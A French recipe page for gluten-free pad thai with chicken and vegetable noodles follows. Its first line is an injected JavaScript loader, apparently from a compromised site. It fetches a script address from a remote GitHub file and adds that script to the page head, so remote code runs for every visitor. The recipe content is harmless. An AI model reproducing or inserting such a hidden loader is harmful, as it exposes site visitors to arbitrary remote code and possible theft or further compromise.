;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Pad thai sans gluten - Haute Nutrition
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Pad thai sans gluten

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Prep Time 20 mins
Cook Time 10 mins
Total Time 30 mins
Cuisine Cétogène, Hypotoxique
Servings 4 portions
Calories 489 kcal

Ingredients
  

Sauce

  • 4 tbsp sauce poisson
  • 4 tbsp sauce Braggs
  • 6 tbsp sirop d'érable
  • 6 tbsp jus de lime

pad thai

  • 2 tbsp huile d'olive
  • 4 oeufs
  • 450 g poitrine de poulet coupé en fines lamelles
  • 2 carottes (zoodles) ou rapées
  • 3 courgette (zoodles) ou rapées
  • 1 cup fèves germées

Déco et condiments

  • 2 tbsp menthe fraîche
  • 3 tbsp arachides grillées
  • 1 piment oiseau optionnel
  • 2 oignons verts
  • 4 quartier de lime

Instructions
 

  • Mélanger ensemble les ingrédients de la sauce
  • Faire les nouilles de carottes et courgettes ou faire cuire des nouilles aux oeufs et réserver
  • Faire revenir dans une poêle un peu d'huile d'olive et  ajouter le poulet, le faire revenir 3-5 minutes pour le faire brunir un peu. Mettre le poulet d'un côté de la poêle.
  • Mettre les oeufs légèrement battus dans la poêle à côté du poulet et faire revenir 1 à 2 minutes
  • Ajouter la sauce aux oeufs et aux poulet et bien mélanger le tout. Ajouter les fèves germées, les carottes et les courgettes  et cuire 2-3 minutes
  • Servir avec menthe fraîche, arachides grillés, oignons verts et lime.

Notes

Ce plat est délicieux. plein de légumes et plaît à toute la famille !